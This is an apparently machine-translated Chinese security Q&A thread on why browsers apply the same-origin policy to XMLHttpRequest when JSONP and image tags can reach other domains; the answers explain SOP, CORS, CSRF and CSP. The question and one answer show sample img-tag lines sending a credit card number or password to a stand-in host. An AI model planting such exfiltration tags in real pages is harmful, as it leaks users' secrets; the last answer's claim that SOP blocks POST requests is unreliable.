当脚本标签/JSONP 可以跨域时,xmlhttprequest 的同域规则有什么意义?

信息安全 应用安全 Web应用程序 http 阿贾克斯 同源策略
2021-08-21 14:55:47

我知道我不希望从 stackoverflow.com 加载的页面能够代表我请求 gmail.com 并阅读我的电子邮件——但这似乎只是一个 cookie 问题。

由于 JSONP 完全绕过同源,我想知道为什么浏览器不只是将同源应用于 cookie,而不是使 XMLHTTPRequest 符合同源。换句话说,如果页面是从 stackoverflow.com 加载的,浏览器只会将 cookie 发送到 XHR 到 stackoverflow.com。将阻止 Facebook 的 XHR 发送用户的 cookie 并产生 Facebook 的注销视图。

起初我认为这只是一个“额外的”安全层,“以防万一”有人已经通过将您的密码/银行帐号 ajax 到“malicioushacker.ru”的脚本来破坏一个站点。但是,由于您可以在这种情况下使用 JSONP,或者甚至只是制作一个 <img src="http://malicious.example/steal?creditcard=1234123412341234"> 标签,因此这不是被阻止的。

3个回答

你的前提是错误的。脚本标签和 JSON 不会绕过同源策略。

同源策略说不evil.com应该能够读取 . 上任意资源的响应victim.com请注意,Javascript fromevil.com可以触发几乎任意的请求发送到victim.com(例如,通过创建指向 的 IFRAME http://victim.com/whatever.html)。但是,来自的 Javascriptevil.com无法读取该文档的内容:即,它无法读取对该请求的响应。

现在也许您正在考虑的是evil.com可以要求浏览器从任何地方加载任意代码victim.com,然后以所有evil.com权限执行它。这不是绕过同源政策。(另请注意,对于从第三方站点加载 Javascript 的一方来说,这往往是一种安全风险。)

XHR 必须受到限制,因为 XHR 不仅允许 Javascript 触发发送请求,还允许 Javascript 读取响应。对于跨域请求,同源策略禁止这样做。同源策略表明,只有在请求与 Javascript 代码的来源相同的情况下才允许读取响应。因此,允许 Javascript fromevil.com发出 XHRhttp://evil.com/doit并读取响应,但不允许发出 XHRhttp://victim.com/doit并读取响应。

如果您要发布跨域 XHR,则目标域需要授权您向其发送跨域 XHR。研究 CORS方法来做到这一点。

没有“同域规则”。XHR 可以 POST 或 GET 到其他域 - 只是请求源无法读取响应。

JSONP 不会绕过同源策略。SOP 简单地说明了上述内容 -可以向其他来源提出请求,只是无法读取它们的响应。JSONP 不需要读取响应 - 它只包含来自另一个域的代码以在当前域的上下文中运行。代码无法读取,只能在浏览器中执行。

可能导致“副作用”的请求只能作为 POST 完成。将 XHR 限制在服务器端代码中的同一域可以阻止 JSON POST 操作在您所在站点的域之外执行,这可以缓解CSRF漏洞。为了使其有效,需要对Origin标头或自定义标头进行服务器端检查,例如X-Requested-With自定义标头不能在没有CORS的情况下跨域发送。这是因为虽然响应的读取受到Same Origin Policy的保护,但实际上跨域 POST 请求的发出没有任何限制。

大多数现代浏览器都可以禁用第三方 cookie这将防止通过 AJAX 进行的 CSRF 攻击,假设浏览器没有为这些域发送先前设置的 cookie。如果启用该设置,Chrome 似乎会完全阻止第三方 cookie - 如果域是第三方,则不会接受或发送 cookie,如果之前被接受为第一方 cookie,某些浏览器可能仍会发送 cookie。

在您的示例中,受感染的站点可以使用 将数据发送到另一个站点<img src="//example.com/?password=1234" />,但是如果您想要这种行为,可以实施内容安全策略,因为可以在浏览器级别阻止外部源。

CORS支持跨域 ( Access-Control-Allow-Credentials) 是否接受 cookie。这也涵盖了其他身份验证方法,而不仅仅是 cookie。同样,这仅影响请求域是否可以读取响应,而不影响是否可以首先做出响应。

TL:DR同源策略主要是防止检索信息,而不是发送。

同源策略阻止恶意网站使用 bank.com 的 cookie 从 bank.com 检索敏感信息。需要注意的关键是同源策略试图阻止来自恶意网站的脚本每次看到来自 bank.com 的任何数据。一旦来自恶意网站的脚本获得了数据,它就可以通过问题中描述的许多不同方式将其带回家。

来自恶意网站的脚本可能会通过多种方式尝试从 bank.com 获取数据,但会被同源策略阻止:

  1. 用户访问malware.com,并且脚本尝试在bank.com 上执行ajax 请求,而bank.com 没有设置适当的标头(不在malware.com 的控制之下),请求失败
  2. 用户访问malware.com,脚本尝试从bank.com 加载敏感图像。请求成功并加载图像。但是,任何从所述图像中检索数据的尝试(通过数据 url 或其他方式)都会被阻止。
  3. 用户访问malware.com,脚本尝试从bank.com 加载敏感脚本(JSONP 或其他)。如果脚本需要 cookie,这将失败(除非 bank.com 已将标头设置为允许这样做),如果它不需要 cookie,则任何人都可以使用它。
  4. 用户访问 bank.com 并在 iframe 中加载来自恶意网站的广告。如果 iframe 被正确沙盒化,则广告就像上面列出的场景一样,无法访问 bank.com 的任何内容。

但是,也有一些方法可以获取同源策略无法阻止的信息并代表攻击向量。主要的一个是 XSS,用户访问 bank.com,bank.com 会从恶意网站加载未沙盒化的脚本。来自malware.com 的脚本可以为所欲为。站点不应向它们不信任的站点发出 JSONP 请求,也不应允许将脚本标签从用户输入嵌入到页面中。

此外,同源策略可防止发送 POST 请求(或除 GET 或 OPTIONS 请求之外的任何内容)。